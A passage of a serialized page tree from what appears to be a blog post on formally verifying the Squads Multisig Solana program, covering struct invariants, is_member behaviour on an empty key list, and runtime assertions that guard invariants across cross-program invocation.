31430],{"type":27,"value":23464},{"type":22,"tag":101,"props":31432,"children":31433},{"style":120},[31434],{"type":27,"value":980},{"type":22,"tag":101,"props":31436,"children":31437},{"style":108},[31438],{"type":27,"value":4242},{"type":22,"tag":101,"props":31440,"children":31441},{"style":166},[31442],{"type":27,"value":231},{"type":22,"tag":101,"props":31444,"children":31445},{"style":120},[31446],{"type":27,"value":30087},{"type":22,"tag":101,"props":31448,"children":31449},{"class":103,"line":398},[31450,31455,31459,31463,31467,31471,31475,31479,31483,31487,31491,31495,31499,31503,31507,31511],{"type":22,"tag":101,"props":31451,"children":31452},{"style":108},[31453],{"type":27,"value":31454}," self",{"type":22,"tag":101,"props":31456,"children":31457},{"style":166},[31458],{"type":27,"value":231},{"type":22,"tag":101,"props":31460,"children":31461},{"style":120},[31462],{"type":27,"value":25058},{"type":22,"tag":101,"props":31464,"children":31465},{"style":166},[31466],{"type":27,"value":1511},{"type":22,"tag":101,"props":31468,"children":31469},{"style":108},[31470],{"type":27,"value":17799},{"type":22,"tag":101,"props":31472,"children":31473},{"style":166},[31474],{"type":27,"value":231},{"type":22,"tag":101,"props":31476,"children":31477},{"style":120},[31478],{"type":27,"value":24970},{"type":22,"tag":101,"props":31480,"children":31481},{"style":166},[31482],{"type":27,"value":231},{"type":22,"tag":101,"props":31484,"children":31485},{"style":926},[31486],{"type":27,"value":13147},{"type":22,"tag":101,"props":31488,"children":31489},{"style":120},[31490],{"type":27,"value":17881},{"type":22,"tag":101,"props":31492,"children":31493},{"style":166},[31494],{"type":27,"value":231},{"type":22,"tag":101,"props":31496,"children":31497},{"style":926},[31498],{"type":27,"value":30160},{"type":22,"tag":101,"props":31500,"children":31501},{"style":120},[31502],{"type":27,"value":17881},{"type":22,"tag":101,"props":31504,"children":31505},{"style":166},[31506],{"type":27,"value":231},{"type":22,"tag":101,"props":31508,"children":31509},{"style":926},[31510],{"type":27,"value":7700},{"type":22,"tag":101,"props":31512,"children":31513},{"style":120},[31514],{"type":27,"value":934},{"type":22,"tag":101,"props":31516,"children":31517},{"class":103,"line":428},[31518],{"type":22,"tag":101,"props":31519,"children":31520},{"style":120},[31521],{"type":27,"value":2398},{"type":22,"tag":101,"props":31523,"children":31524},{"class":103,"line":997},[31525],{"type":22,"tag":101,"props":31526,"children":31527},{"style":120},[31528],{"type":27,"value":1734},{"type":22,"tag":101,"props":31530,"children":31531},{"class":103,"line":1032},[31532,31536],{"type":22,"tag":101,"props":31533,"children":31534},{"style":114},[31535],{"type":27,"value":18335},{"type":22,"tag":101,"props":31537,"children":31538},{"style":120},[31539],{"type":27,"value":18340},{"type":22,"tag":101,"props":31541,"children":31542},{"class":103,"line":1063},[31543],{"type":22,"tag":101,"props":31544,"children":31545},{"style":120},[31546],{"type":27,"value":188},{"type":22,"tag":23,"props":31548,"children":31549},{},[31550,31552,31557,31559,31565,31567,31573,31575,31580],{"type":27,"value":31551},"Inside ",{"type":22,"tag":30,"props":31553,"children":31555},{"className":31554},[],[31556],{"type":27,"value":31211},{"type":27,"value":31558},", we see that it performs a ",{"type":22,"tag":30,"props":31560,"children":31562},{"className":31561},[],[31563],{"type":27,"value":31564},"binary_search",{"type":27,"value":31566}," on the keys vec and returns the index or ",{"type":22,"tag":30,"props":31568,"children":31570},{"className":31569},[],[31571],{"type":27,"value":31572},"None",{"type":27,"value":31574},". Since the vec has size zero, this will just return ",{"type":22,"tag":30,"props":31576,"children":31578},{"className":31577},[],[31579],{"type":27,"value":31572},{"type":27,"value":231},{"type":22,"tag":91,"props":31582,"children":31584},{"code":31583,"language":95,"meta":7,"className":93,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[31585],{"type":22,"tag":30,"props":31586,"children":31587},{"__ignoreMap":7},[31588,31657,31700,31739,31761,31768],{"type":22,"tag":101,"props":31589,"children":31590},{"class":103,"line":104},[31591,31595,31599,31604,31608,31612,31616,31620,31624,31628,31632,31636,31640,31645,31649,31653],{"type":22,"tag":101,"props":31592,"children":31593},{"style":108},[31594],{"type":27,"value":17693},{"type":22,"tag":101,"props":31596,"children":31597},{"style":108},[31598],{"type":27,"value":17698},{"type":22,"tag":101,"props":31600,"children":31601},{"style":926},[31602],{"type":27,"value":31603}," is_member",{"type":22,"tag":101,"props":31605,"children":31606},{"style":120},[31607],{"type":27,"value":980},{"type":22,"tag":101,"props":31609,"children":31610},{"style":166},[31611],{"type":27,"value":985},{"type":22,"tag":101,"props":31613,"children":31614},{"style":108},[31615],{"type":27,"value":4242},{"type":22,"tag":101,"props":31617,"children":31618},{"style":120},[31619],{"type":27,"value":758},{"type":22,"tag":101,"props":31621,"children":31622},{"style":126},[31623],{"type":27,"value":31267},{"type":22,"tag":101,"props":31625,"children":31626},{"style":166},[31627],{"type":27,"value":169},{"type":22,"tag":101,"props":31629,"children":31630},{"style":114},[31631],{"type":27,"value":24844},{"type":22,"tag":101,"props":31633,"children":31634},{"style":120},[31635],{"type":27,"value":901},{"type":22,"tag":101,"props":31637,"children":31638},{"style":166},[31639],{"type":27,"value":17759},{"type":22,"tag":101,"props":31641,"children":31642},{"style":114},[31643],{"type":27,"value":31644}," Option",{"type":22,"tag":101,"props":31646,"children":31647},{"style":120},[31648],{"type":27,"value":123},{"type":22,"tag":101,"props":31650,"children":31651},{"style":114},[31652],{"type":27,"value":20600},{"type":22,"tag":101,"props":31654,"children":31655},{"style":120},[31656],{"type":27,"value":2282},{"type":22,"tag":101,"props":31658,"children":31659},{"class":103,"line":157},[31660,31664,31668,31672,31676,31680,31684,31688,31692,31696],{"type":22,"tag":101,"props":31661,"children":31662},{"style":3595},[31663],{"type":27,"value":18755},{"type":22,"tag":101,"props":31665,"children":31666},{"style":108},[31667],{"type":27,"value":17799},{"type":22,"tag":101,"props":31669,"children":31670},{"style":166},[31671],{"type":27,"value":231},{"type":22,"tag":101,"props":31673,"children":31674},{"style":120},[31675],{"type":27,"value":24970},{"type":22,"tag":101,"props":31677,"children":31678},{"style":166},[31679],{"type":27,"value":231},{"type":22,"tag":101,"props":31681,"children":31682},{"style":926},[31683],{"type":27,"value":31564},{"type":22,"tag":101,"props":31685,"children":31686},{"style":120},[31687],{"type":27,"value":980},{"type":22,"tag":101,"props":31689,"children":31690},{"style":166},[31691],{"type":27,"value":985},{"type":22,"tag":101,"props":31693,"children":31694},{"style":126},[31695],{"type":27,"value":31267},{"type":22,"tag":101,"props":31697,"children":31698},{"style":120},[31699],{"type":27,"value":1463},{"type":22,"tag":101,"props":31701,"children":31702},{"class":103,"line":182},[31703,31707,31711,31715,31719,31723,31727,31731,31735],{"type":22,"tag":101,"props":31704,"children":31705},{"style":114},[31706],{"type":27,"value":18813},{"type":22,"tag":101,"props":31708,"children":31709},{"style":120},[31710],{"type":27,"value":980},{"type":22,"tag":101,"props":31712,"children":31713},{"style":126},[31714],{"type":27,"value":31317},{"type":22,"tag":101,"props":31716,"children":31717},{"style":120},[31718],{"type":27,"value":901},{"type":22,"tag":101,"props":31720,"children":31721},{"style":166},[31722],{"type":27,"value":18823},{"type":22,"tag":101,"props":31724,"children":31725},{"style":114},[31726],{"type":27,"value":31308},{"type":22,"tag":101,"props":31728,"children":31729},{"style":120},[31730],{"type":27,"value":980},{"type":22,"tag":101,"props":31732,"children":31733},{"style":126},[31734],{"type":27,"value":31317},{"type":22,"tag":101,"props":31736,"children":31737},{"style":120},[31738],{"type":27,"value":1706},{"type":22,"tag":101,"props":31740,"children":31741},{"class":103,"line":367},[31742,31747,31752,31757],{"type":22,"tag":101,"props":31743,"children":31744},{"style":126},[31745],{"type":27,"value":31746}," _",{"type":22,"tag":101,"props":31748,"children":31749},{"style":166},[31750],{"type":27,"value":31751}," =>",{"type":22,"tag":101,"props":31753,"children":31754},{"style":114},[31755],{"type":27,"value":31756}," None",{"type":22,"tag":101,"props":31758,"children":31759},{"style":120},[31760],{"type":27,"value":179},{"type":22,"tag":101,"props":31762,"children":31763},{"class":103,"line":398},[31764],{"type":22,"tag":101,"props":31765,"children":31766},{"style":120},[31767],{"type":27,"value":1734},{"type":22,"tag":101,"props":31769,"children":31770},{"class":103,"line":428},[31771],{"type":22,"tag":101,"props":31772,"children":31773},{"style":120},[31774],{"type":27,"value":188},{"type":22,"tag":23,"props":31776,"children":31777},{},[31778,31780,31785,31787,31792,31794,31799,31801,31806],{"type":27,"value":31779},"So interestingly, a ",{"type":22,"tag":30,"props":31781,"children":31783},{"className":31782},[],[31784],{"type":27,"value":24970},{"type":27,"value":31786}," vec of size 0 ",{"type":22,"tag":6961,"props":31788,"children":31789},{},[31790],{"type":27,"value":31791},"is actually",{"type":27,"value":31793}," a sufficient condition to execute ",{"type":22,"tag":30,"props":31795,"children":31797},{"className":31796},[],[31798],{"type":27,"value":29464},{"type":27,"value":31800},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":22,"tag":6961,"props":31802,"children":31803},{},[31804],{"type":27,"value":31805},"valid",{"type":27,"value":31807}," multisig, the number of keys should never be zero.",{"type":22,"tag":23,"props":31809,"children":31810},{},[31811,31813,31818],{"type":27,"value":31812},"We can represent this ",{"type":22,"tag":6961,"props":31814,"children":31815},{},[31816],{"type":27,"value":31817},"validity",{"type":27,"value":31819}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":22,"tag":91,"props":31821,"children":31823},{"code":31822,"language":95,"meta":7,"className":93,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[31824],{"type":22,"tag":30,"props":31825,"children":31826},{"__ignoreMap":7},[31827,31834,31857,31908,31915],{"type":22,"tag":101,"props":31828,"children":31829},{"class":103,"line":104},[31830],{"type":22,"tag":101,"props":31831,"children":31832},{"style":120},[31833],{"type":27,"value":24766},{"type":22,"tag":101,"props":31835,"children":31836},{"class":103,"line":157},[31837,31841,31845,31849,31853],{"type":22,"tag":101,"props":31838,"children":31839},{"style":120},[31840],{"type":27,"value":28728},{"type":22,"tag":101,"props":31842,"children":31843},{"style":166},[31844],{"type":27,"value":231},{"type":22,"tag":101,"props":31846,"children":31847},{"style":120},[31848],{"type":27,"value":25058},{"type":22,"tag":101,"props":31850,"children":31851},{"style":166},[31852],{"type":27,"value":13949},{"type":22,"tag":101,"props":31854,"children":31855},{"style":120},[31856],{"type":27,"value":25067},{"type":22,"tag":101,"props":31858,"children":31859},{"class":103,"line":182},[31860,31864,31868,31872,31876,31880,31884,31888,31892,31896,31900,31904],{"type":22,"tag":101,"props":31861,"children":31862},{"style":166},[31863],{"type":27,"value":19619},{"type":22,"tag":101,"props":31865,"children":31866},{"style":120},[31867],{"type":27,"value":24991},{"type":22,"tag":101,"props":31869,"children":31870},{"style":166},[31871],{"type":27,"value":231},{"type":22,"tag":101,"props":31873,"children":31874},{"style":120},[31875],{"type":27,"value":25058},{"type":22,"tag":101,"props":31877,"children":31878},{"style":108},[31879],{"type":27,"value":12849},{"type":22,"tag":101,"props":31881,"children":31882},{"style":114},[31883],{"type":27,"value":17733},{"type":22,"tag":101,"props":31885,"children":31886},{"style":166},[31887],{"type":27,"value":12206},{"type":22,"tag":101,"props":31889,"children":31890},{"style":120},[31891],{"type":27,"value":17799},{"type":22,"tag":101,"props":31893,"children":31894},{"style":166},[31895],{"type":27,"value":231},{"type":22,"tag":101,"props":31897,"children":31898},{"style":120},[31899],{"type":27,"value":24970},{"type":22,"tag":101,"props":31901,"children":31902},{"style":166},[31903],{"type":27,"value":231},{"type":22,"tag":101,"props":31905,"children":31906},{"style":120},[31907],{"type":27,"value":25119},{"type":22,"tag":101,"props":31909,"children":31910},{"class":103,"line":367},[31911],{"type":22,"tag":101,"props":31912,"children":31913},{"style":120},[31914],{"type":27,"value":24250},{"type":22,"tag":101,"props":31916,"children":31917},{"class":103,"line":398},[31918,31922,31926,31930,31934,31938],{"type":22,"tag":101,"props":31919,"children":31920},{"style":108},[31921],{"type":27,"value":17693},{"type":22,"tag":101,"props":31923,"children":31924},{"style":108},[31925],{"type":27,"value":25138},{"type":22,"tag":101,"props":31927,"children":31928},{"style":114},[31929],{"type":27,"value":25143},{"type":22,"tag":101,"props":31931,"children":31932},{"style":120},[31933],{"type":27,"value":1479},{"type":22,"tag":101,"props":31935,"children":31936},{"style":166},[31937],{"type":27,"value":614},{"type":22,"tag":101,"props":31939,"children":31940},{"style":120},[31941],{"type":27,"value":13601},{"type":22,"tag":23,"props":31943,"children":31944},{},[31945,31947,31953,31955,31961],{"type":27,"value":31946},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":22,"tag":30,"props":31948,"children":31950},{"className":31949},[],[31951],{"type":27,"value":31952},"keys.len() == 0",{"type":27,"value":31954}," and allows us to prove the biconditional ",{"type":22,"tag":30,"props":31956,"children":31958},{"className":31957},[],[31959],{"type":27,"value":31960},"(keys.len() >= 1) -> (instruction succeeds)",{"type":27,"value":231},{"type":22,"tag":1760,"props":31963,"children":31965},{"id":31964},"safety-guarantees",[31966],{"type":27,"value":26772},{"type":22,"tag":23,"props":31968,"children":31969},{},[31970],{"type":27,"value":31971},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":22,"tag":23,"props":31973,"children":31974},{},[31975],{"type":27,"value":31976},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":22,"tag":23,"props":31978,"children":31979},{},[31980,31982,31988],{"type":27,"value":31981},"In the multisig program this happens in the ",{"type":22,"tag":30,"props":31983,"children":31985},{"className":31984},[],[31986],{"type":27,"value":31987},"execute_transaction",{"type":27,"value":31989}," instruction.",{"type":22,"tag":23,"props":31991,"children":31992},{},[31993],{"type":22,"tag":6961,"props":31994,"children":31995},{},[31996],{"type":27,"value":31997},"So what do you do?",{"type":22,"tag":23,"props":31999,"children":32000},{},[32001],{"type":27,"value":32002},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":22,"tag":91,"props":32004,"children":32006},{"code":32005,"language":95,"meta":7,"className":93,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n Ok(())\n}\n",[32007],{"type":22,"tag":30,"props":32008,"children":32009},{"__ignoreMap":7},[32010,32025,32041,32056,32097,32104,32111,32118,32135,32151,32172,32179,32186,32202,32222,32250,32257,32264,32271,32279,32332,32358,32365,32394,32418,32453,32460,32471],{"type":22,"tag":101,"props":32011,"children":32012},{"class":103,"line":104},[32013,32017,32021],{"type":22,"tag":101,"props":32014,"children":32015},{"style":120},[32016],{"type":27,"value":26825},{"type":22,"tag":101,"props":32018,"children":32019},{"style":114},[32020],{"type":27,"value":26830},{"type":22,"tag":101,"props":32022,"children":32023},{"style":120},[32024],{"type":27,"value":24250},{"type":22,"tag":101,"props":32026,"children":32027},{"class":103,"line":157},[32028,32032,32037],{"type":22,"tag":101,"props":32029,"children":32030},{"style":108},[32031],{"type":27,"value":17693},{"type":22,"tag":101,"props":32033,"children":32034},{"style":114},[32035],{"type":27,"value":32036}," MyCtx",{"type":22,"tag":101,"props":32038,"children":32039},{"style":120},[32040],{"type":27,"value":154},{"type":22,"tag":101,"props":32042,"children":32043},{"class":103,"line":182},[32044,32048,32052],{"type":22,"tag":101,"props":32045,"children":32046},{"style":120},[32047],{"type":27,"value":27116},{"type":22,"tag":101,"props":32049,"children":32050},{"style":108},[32051],{"type":27,"value":7760},{"type":22,"tag":101,"props":32053,"children":32054},{"style":120},[32055],{"type":27,"value":24250},{"type":22,"tag":101,"props":32057,"children":32058},{"class":103,"line":367},[32059,32063,32068,32072,32076,32080,32084,32088,32093],{"type":22,"tag":101,"props":32060,"children":32061},{"style":108},[32062],{"type":27,"value":24830},{"type":22,"tag":101,"props":32064,"children":32065},{"style":126},[32066],{"type":27,"value":32067}," my_account",{"type":22,"tag":101,"props":32069,"children":32070},{"style":166},[32071],{"type":27,"value":169},{"type":22,"tag":101,"props":32073,"children":32074},{"style":114},[32075],{"type":27,"value":27081},{"type":22,"tag":101,"props":32077,"children":32078},{"style":120},[32079],{"type":27,"value":26910},{"type":22,"tag":101,"props":32081,"children":32082},{"style":114},[32083],{"type":27,"value":26915},{"type":22,"tag":101,"props":32085,"children":32086},{"style":120},[32087],{"type":27,"value":758},{"type":22,"tag":101,"props":32089,"children":32090},{"style":114},[32091],{"type":27,"value":32092},"Acc",{"type":22,"tag":101,"props":32094,"children":32095},{"style":120},[32096],{"type":27,"value":527},{"type":22,"tag":101,"props":32098,"children":32099},{"class":103,"line":398},[32100],{"type":22,"tag":101,"props":32101,"children":32102},{"style":120},[32103],{"type":27,"value":188},{"type":22,"tag":101,"props":32105,"children":32106},{"class":103,"line":428},[32107],{"type":22,"tag":101,"props":32108,"children":32109},{"emptyLinePlaceholder":15},[32110],{"type":27,"value":1581},{"type":22,"tag":101,"props":32112,"children":32113},{"class":103,"line":997},[32114],{"type":22,"tag":101,"props":32115,"children":32116},{"style":120},[32117],{"type":27,"value":24758},{"type":22,"tag":101,"props":32119,"children":32120},{"class":103,"line":1032},[32121,32126,32130],{"type":22,"tag":101,"props":32122,"children":32123},{"style":120},[32124],{"type":27,"value":32125},"#[invariant(bad ",{"type":22,"tag":101,"props":32127,"children":32128},{"style":166},[32129],{"type":27,"value":4340},{"type":22,"tag":101,"props":32131,"children":32132},{"style":120},[32133],{"type":27,"value":32134}," false)]\n",{"type":22,"tag":101,"props":32136,"children":32137},{"class":103,"line":1063},[32138,32142,32147],{"type":22,"tag":101,"props":32139,"children":32140},{"style":108},[32141],{"type":27,"value":111},{"type":22,"tag":101,"props":32143,"children":32144},{"style":114},[32145],{"type":27,"value":32146}," Acc",{"type":22,"tag":101,"props":32148,"children":32149},{"style":120},[32150],{"type":27,"value":154},{"type":22,"tag":101,"props":32152,"children":32153},{"class":103,"line":1071},[32154,32158,32163,32167],{"type":22,"tag":101,"props":32155,"children":32156},{"style":108},[32157],{"type":27,"value":24830},{"type":22,"tag":101,"props":32159,"children":32160},{"style":126},[32161],{"type":27,"value":32162}," bad",{"type":22,"tag":101,"props":32164,"children":32165},{"style":166},[32166],{"type":27,"value":169},{"type":22,"tag":101,"props":32168,"children":32169},{"style":114},[32170],{"type":27,"value":32171}," bool\n",{"type":22,"tag":101,"props":32173,"children":32174},{"class":103,"line":1110},[32175],{"type":22,"tag":101,"props":32176,"children":32177},{"style":120},[32178],{"type":27,"value":188},{"type":22,"tag":101,"props":32180,"children":32181},{"class":103,"line":1118},[32182],{"type":22,"tag":101,"props":32183,"children":32184},{"emptyLinePlaceholder":15},[32185],{"type":27,"value":1581},{"type":22,"tag":101,"props":32187,"children":32188},{"class":103,"line":1158},[32189,32194,32198],{"type":22,"tag":101,"props":32190,"children":32191},{"style":108},[32192],{"type":27,"value":32193},"impl",{"type":22,"tag":101,"props":32195,"children":32196},{"style":114},[32197],{"type":27,"value":32146},{"type":22,"tag":101,"props":32199,"children":32200},{"style":120},[32201],{"type":27,"value":154},{"type":22,"tag":101,"props":32203,"children":32204},{"class":103,"line":1166},[32205,32209,32213,32218],{"type":22,"tag":101,"props":32206,"children":32207},{"style":108},[32208],{"type":27,"value":24830},{"type":22,"tag":101,"props":32210,"children":32211},{"style":108},[32212],{"type":27,"value":17698},{"type":22,"tag":101,"props":32214,"children":32215},{"style":926},[32216],{"type":27,"value":32217}," put_into_bad_state",{"type":22,"tag":101,"props":32219,"children":32220},{"style":120},[32221],{"type":27,"value":19734},{"type":22,"tag":101,"props":32223,"children":32224},{"class":103,"line":1215},[32225,32229,32233,32238,32242,32246],{"type":22,"tag":101,"props":32226,"children":32227},{"style":108},[32228],{"type":27,"value":31358},{"type":22,"tag":101,"props":32230,"children":32231},{"style":166},[32232],{"type":27,"value":231},{"type":22,"tag":101,"props":32234,"children":32235},{"style":120},[32236],{"type":27,"value":32237},"bad ",{"type":22,"tag":101,"props":32239,"children":32240},{"style":166},[32241],{"type":27,"value":1511},{"type":22,"tag":101,"props":32243,"children":32244},{"style":108},[32245],{"type":27,"value":16473},{"type":22,"tag":101,"props":32247,"children":32248},{"style":120},[32249],{"type":27,"value":1520},{"type":22,"tag":101,"props":32251,"children":32252},{"class":103,"line":2425},[32253],{"type":22,"tag":101,"props":32254,"children":32255},{"style":120},[32256],{"type":27,"value":1734},{"type":22,"tag":101,"props":32258,"children":32259},{"class":103,"line":5417},[32260],{"type":22,"tag":101,"props":32261,"children":32262},{"style":120},[32263],{"type":27,"value":188},{"type":22,"tag":101,"props":32265,"children":32266},{"class":103,"line":7714},[32267],{"type":22,"tag":101,"props":32268,"children":32269},{"emptyLinePlaceholder":15},[32270],{"type":27,"value":1581},{"type":22,"tag":101,"props":32272,"children":32273},{"class":103,"line":7723},[32274],{"type":22,"tag":101,"props":32275,"children":32276},{"style":2215},[32277],{"type":27,"value":32278},"// Instruction handler:\n",{"type":22,"tag":101,"props":32280,"children":32281},{"class":103,"line":7791},[32282,32286,32291,32295,32299,32303,32307,32311,32316,32320,32324,32328],{"type":22,"tag":101,"props":32283,"children":32284},{"style":108},[32285],{"type":27,"value":24258},{"type":22,"tag":101,"props":32287,"children":32288},{"style":926},[32289],{"type":27,"value":32290}," hard_to_verify",{"type":22,"tag":101,"props":32292,"children":32293},{"style":120},[32294],{"type":27,"value":980},{"type":22,"tag":101,"props":32296,"children":32297},{"style":126},[32298],{"type":27,"value":24271},{"type":22,"tag":101,"props":32300,"children":32301},{"style":166},[32302],{"type":27,"value":169},{"type":22,"tag":101,"props":32304,"children":32305},{"style":114},[32306],{"type":27,"value":24280},{"type":22,"tag":101,"props":32308,"children":32309},{"style":120},[32310],{"type":27,"value":123},{"type":22,"tag":101,"props":32312,"children":32313},{"style":114},[32314],{"type":27,"value":32315},"MyCtx",{"type":22,"tag":101,"props":32317,"children":32318},{"style":120},[32319],{"type":27,"value":3185},{"type":22,"tag":101,"props":32321,"children":32322},{"style":166},[32323],{"type":27,"value":17759},{"type":22,"tag":101,"props":32325,"children":32326},{"style":114},[32327],{"type":27,"value":17764},{"type":22,"tag":101,"props":32329,"children":32330},{"style":120},[32331],{"type":27,"value":24321},{"type":22,"tag":101,"props":32333,"children":32334},{"class":103,"line":7799},[32335,32340,32344,32348,32353],{"type":22,"tag":101,"props":32336,"children":32337},{"style":926},[32338],{"type":27,"value":32339}," invoke_signed",{"type":22,"tag":101,"props":32341,"children":32342},{"style":120},[32343],{"type":27,"value":980},{"type":22,"tag":101,"props":32345,"children":32346},{"style":166},[32347],{"type":27,"value":614},{"type":22,"tag":101,"props":32349,"children":32350},{"style":120},[32351],{"type":27,"value":32352},"); ",{"type":22,"tag":101,"props":32354,"children":32355},{"style":2215},[32356],{"type":27,"value":32357},"// Cross-program invocation\n",{"type":22,"tag":101,"props":32359,"children":32360},{"class":103,"line":7829},[32361],{"type":22,"tag":101,"props":32362,"children":32363},{"emptyLinePlaceholder":15},[32364],{"type":27,"value":1581},{"type":22,"tag":101,"props":32366,"children":32367},{"class":103,"line":7837},[32368,32372,32377,32381,32385,32389],{"type":22,"tag":101,"props":32369,"children":32370},{"style":108},[32371],{"type":27,"value":950},{"type":22,"tag":101,"props":32373,"children":32374},{"style":126},[32375],{"type":27,"value":32376}," invoke_res",{"type":22,"tag":101,"props":32378,"children":32379},{"style":166},[32380],{"type":27,"value":960},{"type":22,"tag":101,"props":32382,"children":32383},{"style":166},[32384],{"type":27,"value":29297},{"type":22,"tag":101,"props":32386,"children":32387},{"style":120},[32388],{"type":27,"value":21224},{"type":22,"tag":101,"props":32390,"children":32391},{"style":2215},[32392],{"type":27,"value":32393},"// fetch result of invocation\n",{"type":22,"tag":101,"props":32395,"children":32396},{"class":103,"line":7868},[32397,32401,32405,32409,32414],{"type":22,"tag":101,"props":32398,"children":32399},{"style":3595},[32400],{"type":27,"value":16283},{"type":22,"tag":101,"props":32402,"children":32403},{"style":126},[32404],{"type":27,"value":32376},{"type":22,"tag":101,"props":32406,"children":32407},{"style":166},[32408],{"type":27,"value":1541},{"type":22,"tag":101,"props":32410,"children":32411},{"style":1544},[32412],{"type":27,"value":32413}," 5",{"type":22,"tag":101,"props":32415,"children":32416},{"style":120},[32417],{"type":27,"value":154},{"type":22,"tag":101,"props":32419,"children":32420},{"class":103,"line":7876},[32421,32425,32429,32434,32438,32443,32448],{"type":22,"tag":101,"props":32422,"children":32423},{"style":126},[32424],{"type":27,"value":30184},{"type":22,"tag":101,"props":32426,"children":32427},{"style":166},[32428],{"type":27,"value":231},{"type":22,"tag":101,"props":32430,"children":32431},{"style":120},[32432],{"type":27,"value":32433},"my_account",{"type":22,"tag":101,"props":32435,"children":32436},{"style":166},[32437],{"type":27,"value":231},{"type":22,"tag":101,"props":32439,"children":32440},{"style":926},[32441],{"type":27,"value":32442},"put_into_bad_state",{"type":22,"tag":101,"props":32444,"children":32445},{"style":120},[32446],{"type":27,"value":32447},"(); ",{"type":22,"tag":101,"props":32449,"children":32450},{"style":2215},[32451],{"type":27,"value":32452},"// corrupt our account\n",{"type":22,"tag":101,"props":32454,"children":32455},{"class":103,"line":7936},[32456],{"type":22,"tag":101,"props":32457,"children":32458},{"style":120},[32459],{"type":27,"value":1734},{"type":22,"tag":101,"props":32461,"children":32462},{"class":103,"line":13054},[32463,32467],{"type":22,"tag":101,"props":32464,"children":32465},{"style":114},[32466],{"type":27,"value":18335},{"type":22,"tag":101,"props":32468,"children":32469},{"style":120},[32470],{"type":27,"value":18340},{"type":22,"tag":101,"props":32472,"children":32473},{"class":103,"line":13072},[32474],{"type":22,"tag":101,"props":32475,"children":32476},{"style":120},[32477],{"type":27,"value":188},{"type":22,"tag":23,"props":32479,"children":32480},{},[32481,32483,32488],{"type":27,"value":32482},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":22,"tag":30,"props":32484,"children":32486},{"className":32485},[],[32487],{"type":27,"value":32433},{"type":27,"value":32489},") will be maintained as long as the instruction succeeds.",{"type":22,"tag":23,"props":32491,"children":32492},{},[32493],{"type":27,"value":32494},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":22,"tag":23,"props":32496,"children":32497},{},[32498,32500,32505],{"type":27,"value":32499},"However, we can ",{"type":22,"tag":6961,"props":32501,"children":32502},{},[32503],{"type":27,"value":32504},"augment",{"type":27,"value":32506}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":22,"tag":23,"props":32508,"children":32509},{},[32510],{"type":27,"value":32511},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":22,"tag":91,"props":32513,"children":32515},{"code":32514,"language":95,"meta":7,"className":93,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[32516],{"type":22,"tag":30,"props":32517,"children":32518},{"__ignoreMap":7},[32519,32527,32578,32601,32608,32635,32658,32689,32696,32703,32711,32746,32753,32764],{"type":22,"tag":101,"props":32520,"children":32521},{"class":103,"line":104},[32522],{"type":22,"tag":101,"props":32523,"children":32524},{"style":166},[32525],{"type":27,"value":32526},"...\n",{"type":22,"tag":101,"props":32528,"children":32529},{"class":103,"line":157},[32530,32534,32538,32542,32546,32550,32554,32558,32562,32566,32570,32574],{"type":22,"tag":101,"props":32531,"children":32532},{"style":108},[32533],{"type":27,"value":24258},{"type":22,"tag":101,"props":32535,"children":32536},{"style":926},[32537],{"type":27,"value":32290},{"type":22,"tag":101,"props":32539,"children":32540},{"style":120},[32541],{"type":27,"value":980},{"type":22,"tag":101,"props":32543,"children":32544},{"style":126},[32545],{"type":27,"value":24271},{"type":22,"tag":101,"props":32547,"children":32548},{"style":166},[32549],{"type":27,"value":169},{"type":22,"tag":101,"props":32551,"children":32552},{"style":114},[32553],{"type":27,"value":24280},{"type":22,"tag":101,"props":32555,"children":32556},{"style":120},[32557],{"type":27,"value":123},{"type":22,"tag":101,"props":32559,"children":32560},{"style":114},[32561],{"type":27,"value":32315},{"type":22,"tag":101,"props":32563,"children":32564},{"style":120},[32565],{"type":27,"value":3185},{"type":22,"tag":101,"props":32567,"children":32568},{"style":166},[32569],{"type":27,"value":17759},{"type":22,"tag":101,"props":32571,"children":32572},{"style":114},[32573],{"type":27,"value":17764},{"type":22,"tag":101,"props":32575,"children":32576},{"style":120},[32577],{"type":27,"value":24321},{"type":22,"tag":101,"props":32579,"children":32580},{"class":103,"line":182},[32581,32585,32589,32593,32597],{"type":22,"tag":101,"props":32582,"children":32583},{"style":926},[32584],{"type":27,"value":32339},{"type":22,"tag":101,"props":32586,"children":32587},{"style":120},[32588],{"type":27,"value":980},{"type":22,"tag":101,"props":32590,"children":32591},{"style":166},[32592],{"type":27,"value":614},{"type":22,"tag":101,"props":32594,"children":32595},{"style":120},[32596],{"type":27,"